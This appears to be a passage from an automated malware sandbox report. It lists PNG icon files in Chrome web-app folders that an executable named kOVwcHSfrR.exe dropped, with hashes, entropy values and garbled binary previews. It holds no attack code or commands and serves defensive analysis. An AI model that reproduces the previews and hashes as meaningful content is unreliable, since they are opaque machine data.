Preview:	.PNG.H...sp.c}.....m.A.I.VH.t.pS...o.P..$}?.....LP.9.$.y..O.H{..(.M../E>.{tC.w_l.......+/.Sy...>,........,.dT..mD.Ub.(..~.:...Us...d#.fi.N..T7.....c.C..z..._.....%.......F.F....K....{~.j.Fa.m...n!{`...l..!k ..W'..7.j.....i...A..a.vd..a.....j.3.......V...?P%D...]X&.X......... .N1.}..ca..a}..p...!@.!.u..Rwg..$..s._...q.o_..C.;...@...ecp...@.}%.....pxhh.l/..F...xr.S..e.Y....N..mK.}4N.J.Q.FN.6J.*nY......y.V./...B..J#.?.. `...Ff..62e.....}.....wR.....e.g..^..N..u4].elX...B."......tZ.._f..(....................!.pJ7HW.@t)b..2..2r......O.i.=....K.)EG..tkb9.s..,..z}ky.w.$=. .P...4qg..R.~.([..T..z+..C1..Qh.eg.b......{G.....a.FOXq,..{.b.n...v9.a.p..F..!........-.~..\|....~......N.e..f....F..z........H.}....!...;.WJP.....\l.g.@..zL.w.E3.....(N..<.$7:.F7..%.V.)..u..9c...."..C.E8P.ON.ti..-y.C..-...Ucx..a....G......?RM.;aEC....k~.^.H1..3&....i.Q....\<`t..../L.mp...K....E.1.~...TP..^.p.-8...Y.0Ct6Z.....J......p.K.........a.@....rJ..#.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	7.929971685032068
Encrypted:	false
SSDEEP:	48:ZI5g5TJJW3vUYuVl1OKjOvFqc7Y73wKQ32+1dY7QLuiZmoC28yD:e52JgyTOKjOvoc0LnQrGxKmw8a
MD5:	238C0FA9681CB619E000EE27A44FBF37
SHA1:	F65DBEDED6D5A6E55461776D5B960F9CA3C4E536
SHA-256:	CB8ACB25AAC6C590DFB020D14916FB0CF02272DF71132C4C7DC297F35079BF3F
SHA-512:	657B21DA6988224A171FB29A59EF7E50F466F73A7430C314C72250B947595E483CFCF417DC460A66009A2E7B861FE7413492AB5327C4158CF77A529D30174051
Malicious:	false
Preview:	.PNG.......).el<H+.B..3...i(....&...'.....H....o. `R.s.RZ.o..X....T/..J.).j.....^.>g...N[.......?. #.D..u.........wS.h....F..&........E..Z#....9.yQ..y..)...I.8."...`.M,U..5e.XA.!C(..h...P.F.y..b..6.....4....$.OxQ.Z....@.&.^i..W......o..i....<e%..B....P.....b$..n....^E.6.....6..Y.9....I..a6.P}t.&..}.<K....._a..&.bF...X.]..F...).5;=.....P..l-..LXM..._X..~.x._-:.X.}.G^#...H....!.....%...=b..1J/\.N..T...K.&........+...:.......k~..F..X...V.].6A.X..,..;(.c..b'=....[...U.?\.T..q...:...L&Z..a.l.gq...%.eh......f3..)o........jax..,...a..m...U...."aFe.y.l.4.=...{...V.m..P.A....Rck.y. m..k..Z.<....]..t..@.l%nO.t!.L&..2....M3_s?......;f`..3iz..q.a1%....m.......#....w..{_..4a(..V.....i....."'.?cx.k\..2..mV. ...A.L3\|..+e..a..}.`.e...XF....~...I.+z......".7......,F...3..\|....a..0.P...'i.H......."u...........9F..(r7...=...i.]...6.....{...,...xE5..M..FdA..f.'...-....CWi$.P~.A.+..p.@.)]....A...S.....kR....m....l....`...\...\|......(B...jQ.y..G...?".m..OjV..5...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4111
Entropy (8bit):	7.954664904192568
Encrypted:	false
SSDEEP:	96:CG3qF4+WYOVmUHj0BnbIOgEWaKoLegnhW3JgixiBaMH4lWM8/HOf5Ha:CgqFiYc3HoBnb4olGqiLMHkWM8/HC6
MD5:	9B2CEBD77B0A64359E46BFD36C518380
SHA1:	512B65F873F9F12D98C66ACA0C73A222EFE009AD
SHA-256:	06C18FEC5A558EEF665492F7DC79A2D4C59FBC21AB7559A457119B0E1DB76F5D
SHA-512:	8885F56D407DDA96E1BBD071D9CCE06DDE3D124AEA1217FD0B954C2FD449179A5B32D807F2A2C82F504F2F87DD856B141D5DE5EF33E2D733B55CC78D89850FB2
Malicious:	false
Preview:	.PNG...6....0.!.....]x.kb.. ..MO..Z..."..}7..F...9.g.......V.ap.+.....l.{.......&......@_4...D.....u..C2.0..g.....PB.,.....\........9..F=.A..I...sd.B.]..E..._.....s$S...e....H....vD..!;...@.....q....'.%..<........._.cx..cIF..Y.Q....`G.X...SmXU?)...T.J.JI...NA<..[.d.P.6..NX.r.O.D.!u......W..7....>=P...T..rc..^......./....mB..+i...i.=t....,..q....,.pTl..7..V...Xc.rTu)......1.PK.WO0C.YC....R..7..y`.?s.%.g!b.....Z.y..\%...-....!C-......+Wn.. -...'...yt..KrBJWV..n.b.`w.V....-...Qg.J..._...b"..<e.6i.Qt.iC7...w/T...pS5z._Y..h..<s05'.&....m...D...}.NR..[..%.>?6E).FC..s.FxCR8.(...1E....k.1...uy.._J.+.n.;...mH}.y...^.1..i.........6I..8..?.d..J...ut.5....h7...k..@..7C$W..'D..c........R.(..8Y\...J....Iz.....+....j.7Y,1.r....E._A.uZ'..;..F}U.C....'D....w.........'e..".,z.).;".\@. .l.0G..!X...ub.8x....>..8..r...).f....U.hU....\|I\|g...q.....5*...gK.-...'K..ax....Q..~.r^....O...p....BU$K..`."L....B...#%.S...#. .gV...2.....~.~-.....[.s.$'..../..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	7049
Entropy (8bit):	7.976833436256407
Encrypted:	false
SSDEEP:	192:taREiqz16VlQo+a6XF+ZzqBdQOEe3PdcF6i:0s6VlQoygq5E+mFR
MD5:	B677ED20FCFCF4977DD475C3EA6FB54E
SHA1:	A8F3BECEACF84D3D0E2BF55C5F2C2158DF494ED4
SHA-256:	92BE31191A9BF71C84AF51617B8ACDBA72FB0E6872EAFA2CA6894E5EE4B79B28
SHA-512:	5DD482E195167F300430BC1DF3C2593A84EB0138D3A307825B072F85C2D979CC8714123037A41C3DBC4CDD4BB0F727886F92099606A1E7F468DC1E3EFA20F337
Malicious:	false
Preview:	.PNG......L....4._XUzJ0:yS.\|.>...#n......N-X. ..x.6L].;r.y....`.c.)9S) ...H(.r4......96N..Q...^.9..........\.2Y....."gS..$.c...73L.$<.R.._.L..=.Z...d&1FM..:Vc..m.......lX~sO........Dw...............S.W..RGo....fp..`.].%..6.........O).r#2-{dq+.,\H...O.f.....x.Sj.....L.....]...L.6.....p.....0.g.jD. G.z8Q6..c....]..'.,.......<S.tS.....C...D..6...[.B....#P....;...B..\..'...k.k$......3D.......(\\|wG>..iV+..RL.0+7.....4.n..4.#7L>~@z..e..E_F..../.....Cv...1..<hd9.........&.D...f...s~...=1.......U.u..m.X>.F...v.j......s.>..\|.v.g....(-f...8.]....D...k....N;..:FyW"...D...!.....;.....d.iY..p>.......`.../...{f..]..":........M.!..u^Bc..l.<.l..c..&..A...a:9\H.N....M@...&.m1.4...gy.......BS1..w.r=. .;\..5#.2.id.o..,..V.a.0W...ilJ..)V.6.s..5..........%z...II.c.sL^.]rla....1.....!uYl...k.rGo.pY..GQ?....M.f...ql.....z.....O..+.c....s.T.\K..51N......6..Ur\.....q.r.....??.0A.Ch...!....6m5......=..g'2....@..Q.y....-.#.....LZ&..&...\s...#.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2642
Entropy (8bit):	7.936154997669715
Encrypted:	false
SSDEEP:	48:AyvM/9onZipAo6gSxaw1KR+CN3pBDDZcjWcH1hzXMpNBIczvNzyD:jvMoZ6Ao6Ww1KRn1pBDDWqcgp3DNza
MD5:	3B995BE53A261B9F058486D900B57A69
SHA1:	5DDF91B34D9A8415EA1C936FC0161018B0A094CC
SHA-256:	4799245AC37C3FB6A0A754972A5A35F67FF87BF20B705ACCDCB6C6D087B88EF8
SHA-512:	7C3E8FDB03579B4C8BCAEDD0D59A1578CEDF89301D1A6060A26F3155BA31A12831EE3984AA3C6F8B25CFD6B2EE8288AD34F0F5FA59ED81B8A4F30A44C56F7BE1
Malicious:	false
Preview:	.PNG...TZ..o2...._5]......9=2C...F..]..uyp..9.zI.,Gj.#F..;..%.{.&hx\|.b...#.9.4./....~j..kT.:9...k...."N.K..9.X&..E.%...r.W....N..L..F5P...Y.......^.m.}t;~[.k*.V.. .......LM.-<...O..........."..!.u4...........\0{.q.%..Sm..'..)5.kV.].............?S{..`.(..Q5...+H.C..a.=y......{..... 8^......'.=g....$l.".q.g.3.>.O..iX.%g....#....U......;.@C..1,.../.".8..\>.zQ. .7 'n..%T9.J_^:....~...{..tL...m=.T.....o...;o....N~.u.[..,..$/.!..?.E.x4p......0.!^.....J.j.h..m..DT.J.Y.'.......y.."6..Y.{..8..`.<.........De;.k...v.$..J..;...A.~...Z....2.._..5....\..#v5#r1.lva..c...BU.'.r...T=M...RH..=.....H{X$..d.........T......b.v..{1EQD,..@..l'....D.Xc.w.>.B.....M...? ..Q...M.kdF..-o.&...m.P.\|>..3...v...EA.j..?B.....(\..x.<..g.O.w.sC.P..?1.J..\.jt..J..EF!.lXT..K-.B..mw..s....Qz.L.....=.M.yX..,.^.F~..BNBw.....U+@....x".D'eK.}....T.(...M+..uY.h._9g[1..\|.....S..2Ng..4r/_...OUGC.<h.....[U......t'..;F..%].......:.6....]g..(...a...0...Px....\|j...Te.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1629
Entropy (8bit):	7.874705839326406
Encrypted:	false
SSDEEP:	48:Sql3gINLLrPR+p72F9mwtS42aWDGtnqscCRyD:SqxgGrJ+0bmwtSfScCRa
MD5:	07B0940926AEC87EDF1239872F7F8688
SHA1:	6FAE07A99984E2A3E5A2D26A7EFC007655C1B94F
SHA-256:	AC88E0C9811CCC5B21966640CE33B5660B1A6C0B06B8366ED25FF1B8627E0670
SHA-512:	0C4BA773CC9AA5821D255135F0A32CABE799897A5C0E3D531CA49C1EC874BD426F9D51F278CA2BAEDE32DFD13D92E3789CF51B6861494F8DF998F7B8DCC9E83E
Malicious:	false
Preview:	.PNG. .wM-....8g.s....'.d..z..m.j.M{?.,V..{.5..,y...j....0L..dD...\.8..}g..Ns.mj]......k.2.j..R..}.,...5l..8....Xn?..[.M..Z.....<.<..1..\|.$.v.n.0.$W..\.)..52.......d.l%...$....<l....K..y.[....g..Q\....@v.\....ZU.Tu..5...L.&.;.<B......J..+&.f.xS...x.{.H..8m.L0y._...rvW{lh....u(...S..zf.6.SY..X...K....UR&.......iF....&..]....\|K.i...2.@_..$.../.......P.L.)..6.E.3.f:..\G.....C..d......x.q%.a...o.gA..f........\..>.@..~.h..5.cO3z......fC./Nz....d..Z./&...[{.....e..!%dp.ldv...<.[\.%.)..L....m..5...~^.0.t...3y.>B.])...RJ..tx.B.`..J.5}.?........A.&k...\|P.!."..2G..U...`<E......B.T>KV.j..`V.@f.g.#S.. N.L...^H...m.....k...W<..\|..y... .{..XF.rs.9.....'#......`A..<...l.P..@.U.b.n......P.&>dR..Eu<a...6zE..=.7....^.O;.jUw...Y{..*..<.a..:.,=...gn.U......#.A=r..^.+P.I...'......'....\|...ha.2...%22....)...0...4~..r[.....Dn...?...r~...Y.w2.ud.mn\|.s..g.?..b.....u..ol.'...TlA..\|G.9.......'2.l..=.`.L,o.+QYa1..BW.>j`'.n..=....M....4........).....g.pe....a..O@.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	5525
Entropy (8bit):	7.968265478118018
Encrypted:	false
SSDEEP:	96:QLbvMUeC4/COx2yXkraNlPsI3dSZUekysk+CQl/EO+/gnjF7blb/eD4fsra:YvMUECjkkBkJk+Ca/EmRH1WosW
MD5:	ADFDEAAD02F5ECECA23189C04FEA0941
SHA1:	71C8B38C71E9A336A6A1D9ED882EDF74C6468745
SHA-256:	0253647C83297C85E3DB86A1079BEE198E180297A7B92ABD4638D65211A260F1
SHA-512:	D194DFC0271E88DC5BCB2D15B524F0FB65C5B33D7AF6E3ED51B9C2489909287C664F4E5D5C634A1E744357BB3E514EE521BF401F09A0488368AD55E5527B3353
Malicious:	false
Preview:	.PNG...V...C...?......o......5.(.*.501..s..[....p....l........O...:..>@...rB.5+..L...n..6..K..k..Z.'......:v.d...z......A.YJ.(f.(Y....~.$v.kx...........6?....3.G.>./R.....~.L]#zcj.+...t...j.D.y.D.}%....s....M-..$.R.&o...=.;..+.....}(..{.z.A.......g.x^{.t&..1O..1R........Z..'..3.H.....e...&Ox....;.........n..)>..Cz...#..V..>.+.kd..>...D..C.r.e.Z......8.$wL...:R~...6L.Cu.5r...../86U.K;o..\|......k....7.}...;.m..(.V....V.7R..".....VEVDl..G..Y....P....0........-.r.%...?.7..y".x..C...'....J.$c...d..%......n.+__...;c.C...5s-...."'....1x..]..5W.......s.....-b"'.H..@.u.O.m&..rtR.....>T.......O.r....+.$q e.......Xm.).d.}.R....{Q...~k.RId..u.w.z.4.)....-.(ht....h.....j/.v....3.Z..J..!...uJ>@N.q.;...VRN%.9..r&!.f]..!.S8Av.Z..?......o......m..g.{I6...\|..21...]......V.."{.N.....>JXB.z..#..3...z...k)...L:g..uO...==.+.j.h.+.(.}.s.&..C.=..'_\|.{.\..T). .&.$.q...\?h..Z.(1....1.M0...<..O..-Sa.Q.-.....,......jf...$..l....1.ij..W....:X....N...~}. ...5.3.c..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.864661517870667
Encrypted:	false
SSDEEP:	24:9knrs0zRJ0w5TRBEAlJs6Wr+2pcfN8QYwCIZqvTI58Pssg9CI1Ych+nxozw1bD:9yJ1J0weAlJVWr+2pcfN8QYpZTI58Psu
MD5:	40013DEE61396DF1F396852584D692B2
SHA1:	A27B79D34F7D863B6516C2A54063EE14562B1C76
SHA-256:	58AF3B50ED2F8FCF84277A6F00C6209096529D850CEE2E6121C2AC14A59B7BE3
SHA-512:	EEEBE09DB2538AEB64F6B4577C09257BCE7074C1D7D7E3A57F3965E1A2D0980989C1E53EEDD032469CB2C9B349FE81CB61622D9AF0B3ACB473DFA9AC654C203F
Malicious:	false
Preview:	.PNG.%....]..8..xVP.0h)..^.....rX.`.../.Y.].S.p..HN.~......v\...wQH.....e...>......W..M..!..{ ....Pb..a..\L..U....h..YeF..S..p......q.D......"."....F.t..fOr2.,X26}...C.]V...;..W...z..R.el.1..Y.k.WV.I1...}.r.w......sWRTp...>b. .eN..:.=o..!.:.R_+..,~b hmG2Gk.\$...]...z.&......sNo..\|p......Z...EZc.....6.{o..yE%uh./.M.6.?v.'.u.p.o..[..YQ..p....?.-D....Kli.D8..I;..'F.R.u.rh.t<.m.n(.0...W....Q.^R[.o.m.....>-..H@:.<.74.#d.C,f.J........r.S.....;..{....M..O..\|......U.+h.....<W..J......xhP.._\|.._!....../....z4..}....N<..W[....9'.3...BC...?.s._.FyDt_j('......K.\..b...8.\|..,U..(.`.^.......;.@........:.5..%w...R........:....g.3..x.\|.t..{4..xy...4..A!._c..A.7.>...H..T....ZE`<.....].]bs0.r..w?G..C.9..s....2U..>2...9.{\|AZ..........9...M..a..).6.=HK.j7.Z[..'...n.../Sk.\|.?.d.\...L.GR'...3..g]..Y.V....(..n...."..!.).D.l..,...k....-.Q.!..k.......k../..E..+=.Dr.Y...+}..#\|"..kB.b.....n;H:.....Q.......Q......&.7.C...z'....?p.~....B.+..z~?.M.i.{?\.^rp`.*.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.866967347947162
Encrypted:	false
SSDEEP:	48:mb8fIu3bKu32EH/Wd0HoSzoEixxxjbZD70yD:mb2K0H/SWoPxjND4a
MD5:	6B3BB84DF583409EC857D754CE4FDFE4
SHA1:	4FFF7A59846531695E532B893DF1B2C4081E63F0
SHA-256:	8323FCB72081D7CECCCC45B8574E0CD4F1EB7DF87F8FDE379BA5B87FC30860D2
SHA-512:	1C90CDE9447F10C24B458B4A7B8D8E351E9164099749DD8D0918B1C8FA81A55F38FBD5B3E83A2998CE051EF8DCE88F9B2FD3EC812FD854C27C34F4CF29FDCDE1
Malicious:	false
Preview:	.PNG.._.gO............D.:.....t.^.{.a:..J..R,..RC?..2......X....4.u...s.(..]r.'.l...V....5.N..[.....n2....B... ....:..i..>.....[..O..XCr........eJq.............VO...${.......6..P.,........W.[...."...b..yO.p;...I.}..._...?..Dt....A.aZ....._..\|...i..a9#Q....,:....k;D...H...{...!.ru.6......l...>v......D2.q.,....VU......Ms9X.VFv.kb.l>)3&{Ve.....s.@<7>...3l.Q.)wN.X..x;rW...l._...\.o...oaUeAc2.-....Y........[.q..!....L.....l....D.'....zD.K.m..QGl.L..r.e.......Y..&..P..-......7K+.G.w....;5..y-SM*..f....C=.J].....=C..e...K./2..$%.$...........Q..,`.\|..5.D......s..0P.p(9&..uK.T.K3.......H.vm:.h(t....^23.E..V.......d.w.).....5e..i..6')..-...i.r.[...b..^....z......]....M...Jw................^.W.~._.-.[=.....,.....J. HD..1...G&.......2w.vo`m .n28C..I.S.8....>..?.........j...f..vR....x.c,...._..........0.r.Wu..c...=.o(...^a......Hb.[....V..".m...S..q....Z.,Qh.0qMo@I.?XA^b.-Y.A.5R.Y...f.).'...$ ...q.u.}w.(....WC..U./....L..`_......EB_!.[.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	7.88619411896828
Encrypted:	false
SSDEEP:	48:nWMKJxwl6I8WWSWQExvWCGud8uP7WOnWx4SB33OQQBV6lnqZcX8LzyD:WVx68WuQ4W3i7jWx4anOQykRqZU8/a
MD5:	D04BC67DB8F41B91424A13BC7DA25502
SHA1:	1094A7F2B62009860C0B8563A5A17846E20262CB
SHA-256:	D413D0C648B342303D4A9D0D778EC5C589CDD5E44ED3A1F2E32EE969E34D454B
SHA-512:	10E031CFA8CDB00FCA3C3693ED356322C74EF6359EBFEE9A20D4765D17FD45BAA8167857C30E579CDA7F02A764098B1D65EC25497F96281F6D253BF492D0B172
Malicious:	false
Preview:	.PNG.~..vpR....#k.....S..q..T.....od...F.EF.<....K#j.+Z.z...V..Y.....9..v:)..K.E_.........B.t..J$.p...H...J.......di.........p..GNUx.$n..u....<Y.G.{.hU}k.j.6f!..E..'.SJ...".it..A..h....B..e..p........2......N.R.;...I...7n..(.........Yc...r...+.W.......^.N.....P.[...........u.oG.uo.,..'.6.1\..U.-#@...2{....Tp.....2.Y.T...&~.......5..,..`....=O........-..k..@.KxvQ...G$.wRO..>.r..m...c.M.'.../.jQ..../.)Z.f......S.....<...17.6.\...E.Z.+0N2.A.!..\|`.bp.i2..3./f.8..5~r.4...`.~..#...;.G...-...H&........y.....J........l..N..Q0.v......Wb,(.v.&.(.~o..^i..+..Hc..W6......f..W.7....[~....l...do:.....w........a.....r..E_2..a.^.....=A.x.m.C~V.~8.h+..T..2/.8.4.?h2.....p......=....[...`"o6M...f..\..mH..96.Tv....lJ8;..).G....'Ba...<......H.....8..k\B.....-..................4Nr...5.m..../{{..W..4..3.......zi.=.6Jq.A...Y%..?..I......?..Dz..4.\..l..!.....`.k...]2G.1....a...H..q.l...%..F ....$.yT.a...`......}'.{..._.hgr...e..gOF..r.%....0.5..e.q).g]..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.9033085985755935
Encrypted:	false
SSDEEP:	48:guPeiVlwJ0V9xm1u5g+VY5fWDXjU6XKVVushGd+/pmztMVTTonyD:wgrm1i/6BWbPXKVhhpvV8a
MD5:	EA38E6693AEDD583E5E9A76B5DCF191E
SHA1:	A28B2E480825A46677987CBD31D3F98DF72C29EA
SHA-256:	D4EE8481542BC9BCBA117220F7B57FADCAA66F416035C652D64680569452DA26
SHA-512:	D86383500A38EBFA7C8EB71DB8556FE49B1507670D81C537E75E4A96D70EECD004814AB34873F969E51F8BCE638169E4193E9890F0C7486A2A0055B82AE1AD7B
Malicious:	false
Preview:	.PNG.m._M)'CW........sW)..r.\|......+Jr.Tr...v.5r..5s.$..?..x....]..Dp.,I..}O.ru$Z.Q...Y.gc.7....$.. .;V..<.U.....Y.....X@....h..c&E....o.Zn.qJF....E.vL..~\|.l....<.......B.q%7A.@A.....Q.qi.e:..A..H...o^V...>Z.o...l6Q9.b\|4j.A.8.V...&:O...t.......... rl2.."5..5G..'.}.._(yF..%........d..c\....B;9.U..Cb.._o.W:........G...[...A..cb....+f.?\|`..9.........g.o.[).,.-w...85z.4g..N..0.a..)^.z.../,.B...N.?.Zf....G'`...8..#..j[.....Ce.PP..."1.v.v....TH...m....L.@..$..X/w?..r. ......;L.A.e9..-.h...f`N.k3!.(5...54..}..Nr...p)M.&..-...."..K..\|)Q...Q..d......j..%B..e....W.B...X..H[.y7.....X.0.V.%w.tg..\X......Gk..H.(.Z.5..e...l.v....n..-.3..pF.~.j..e7......"Qd.....4...@W.T..p...r:1..K..iG.y.g.X.....&... ...._.ms.K.oi.....Pc.4...7`n.+B"....B..7NL.>7S.5..\|...y.b..a.._...5J8A.gF..a..}6NWz..kF.......p....wLC}z....5@......0.5.J..h...>o3..\|..U...2e0..2!..l\.E.....C1V..R..%...&...i...j{.U..I..a..*..W..Xt.0....C1.....W.K.......W...k..Lq.g....L2.?.z.C.[..K...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	5710
Entropy (8bit):	7.965886183038896
Encrypted:	false
SSDEEP:	96:PXOIzpr+/E6gN/4lWaEroV5KKHZigsJc55INjF6YvsmEU27cLrqPzck3FxLa:fOIzs/jC4e8VApa3IpgQEUVc5L2
MD5:	D20E38E08D02C2C707C7E2C581B76FA5
SHA1:	B251A0F20137981A4E07D6B902DB31B90A4D4152
SHA-256:	99609AF333CC247189DCB9455C62F534B3CD1B58F44BDE9E5874E41E0C68A2B3
SHA-512:	04D5D80FCAABD7B6C9A704F07EC224135D61ED83D70A628A955A47725AA4232E75C3DBEBDDAD0A6D64B31A5E0440AE07E85EAADD5C0FA1D7AE0C640F468CDC18
Malicious:	false
Preview:	.PNG... ..n................1r>.@............1...:..B.I@6..:.........P.~...>....M_99I-v.=..F...l.^P...G......S....Z.$\Xj^.lh./.k....(.{0C..H....Ed.Ds.L..U......:.K.F......`]...fU..........GI.'tM....Xn.>zo._..;um.C$..=d2.Q..n...W>.w.... ....R.....v.z.........Z..k.....&.!.$4n..}H....(6.x..{..\......_+..IG.X..+.(r..#.C......A..1...gzJL.g.A..E..;.......l..Ow.G....I`..B.+....h.Vss.z.{.\....'....>.....G?.z@...D....2p......&gjX...Vx7....`..O....{...$......(..G.#..O>._...../....\|.c'..'P.Mx5i.k;.?..+.e...m.:..m.NE..L'.Q.%.uXH..V.nYPD.A.....DJ.....C....L.,..c.../.....q....!..b.};....I..l.Ck!.e.Q.hCp#.=9.5L....W...xw..r8S.........j. A9.;.X...?]g#E.W/..j`...<..L..[...jVf....i....\t..x......\|.K..g+.q..&........X\O....F.#..(A~F.......\..F.y.4V.v........q2...5.t.P.....Y.&n..._....e.y.:K<.y.@....p 0^=..%.L...._...:.9..........c,=J.A..:..\..#....\|..>.VF4......k.2'.......\|._.c...C0...A..?W..7a....bzb).....s..86D...a.mM.9.Xy.......46X..uk.G.r

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3253
Entropy (8bit):	7.941966236903803
Encrypted:	false
SSDEEP:	96:nmVFfU5hdQFRQwQivf2M+xd4cxvzb35DT561w5a:E8eFRQw/ve3zbJR619
MD5:	90850466ACE7BA79CFA7026ED547CBD5
SHA1:	3A822D2B80E79AB9080A1E131807A45C9928E101
SHA-256:	7F9A195B3A41D742D88CF5A41898F47BD11D55AB5ED77AE1757D1A601EF5130F
SHA-512:	1FA409BFCBD4C9E682A0604C41A69E34749EC2438B2B5CAB11FFEC8B6AAEFB84998D3F5E33FB6D43478E04D55FFC5F49FE267888715C2D4EDA9E442007405476
Malicious:	false
Preview:	.PNG.....x.....-R<.iQ..<).oJ..E.X.)../...K0...^...L..U..._E..Rg..j.K..g%.o..cT...1.K.....;..;/...P.v.....Nl,...$...U.h.....W.u...1....[....`........%.z/b...`.{...:."0t.0[..q...R&.S6J.4.+.T..1.....J..'6.~<.j...&...".^a......c.lp.H.5.C.1.}..S...B....y..#S......m.....?...cx.b).qn.T..L%.M?...L...`.G....U.6g._.9L8..!.p...y..I...}.....aYR...&.2........ot..q..Z..S...}.g......G...ed..@.-.j..P..S.....".v.m.h..S...w...4.X1....p.I:..L..mW....D$....X....Lb.{(.1N/.a(-......p...W..?.@...Qy.V...RFu......C..I^DH.1_.._.u..2..?...&.........7@ML"...7.!vL.I..S.........7i...V%.v.,.....v.,w...D.^rm...D.,.$kR^+.<2.'..n"...Vi...."..]O...M5#..8k.&.G[y..n.^...o..FY,.g.........61..ZM.....A5+t.QD.!.Q.^..zs....A...MR~:.u....O0l.D8.Q..A..o.l....8c.........(....n....o=...db[..>.c...\.f..4.U.#[.'........I.l.=y.I..)YS...j.=.......-....GP...(...%M..C.........O.]...2.X..,...AN..K....w%.:.O...H....K..j_.d.!..?...]mA.T...g.K...:'..q1..'..==.....V.W.J..R.}Oh.7*. .{.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	12565
Entropy (8bit):	7.986415641196887
Encrypted:	false
SSDEEP:	384:nfmbXGZp09pLjfcbPRnMwcvzM4s6xrxn4oN9:fmrGfQL7cb5ME4tzP
MD5:	6F33C3B1AD112DAEE931A2FA6A83812B
SHA1:	C8C7E4B60D5E142F2D749CC8AE50E70518207B7D
SHA-256:	19AB7ED4DBA7A002B05D8541BEB182B87AC53F2EC4161A8EA5E59E0E475B23DA
SHA-512:	99DD8AD3780ADA41D1CCE03D49AC7F07F10F41AC15F73408C577DD5C255BD1FF08DF15EAC02F36E1E28CBD3F50BC5EBDC7F6E52FC7E93C08C8A294B07ADCFBD3
Malicious:	false
Preview:	.PNG...._e.\.?.7[.....8...~..ek.0...K...7i......<..z..\|-.P.2.......DQ.Xb6..t.Dt........k.m....h......QV..}ZS7.<.eD.g.......V....x...'.M.G...6....2>.uF..o......]m.q....X06X.v~....v...Q\|/C....t:....T...;.4.N:M..H....X...w/...(d(..4.I.B...E.I..P..d.Q.h..t.hnZ..R.`..F....r.W......C=.../.$.0.z.(>.x...R^..:v...._.9.8..3.7...m..%.W....?.`.....D.n..".j...B....D{o..H.<<...j'.......;tU.. .Y~.).7.\....1.L..Dz.T..G.D...9..%........!....~E...cNT.K.?.MS.nC...S....X.9..u.0.....e...........eV.#.[..1......$..'k.d.....H.($?4...z$.)Y.a.........\b.fO.."w......(..k.2U`..p..x}...k.ud..V(Q.{U..X.6.-m..R..Q...vC\|T.Y.B?yI.2............I..[./nw.p...+.\?>,...DKU.8!^..P....l..^<.O..........,.......:..)].......=.,.d..;x.r..d#H.%.}....\|...Z..Rf`\|V..w.U...B..$.eBT..."q.W....\.T.k..,.g.aS.IY.T..........)..d<M..-.(..[L...I...x..9]h.y ......T.\.m.T.A..sAV.F .p.Y^:i.[......p=a3..lO..ga.xW4...3..%.. ......=..hi....(..gY.9.5RY:.GD1.w'......V.T..k..-..['`)..J73T.\|..P\|.t

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png

Download File

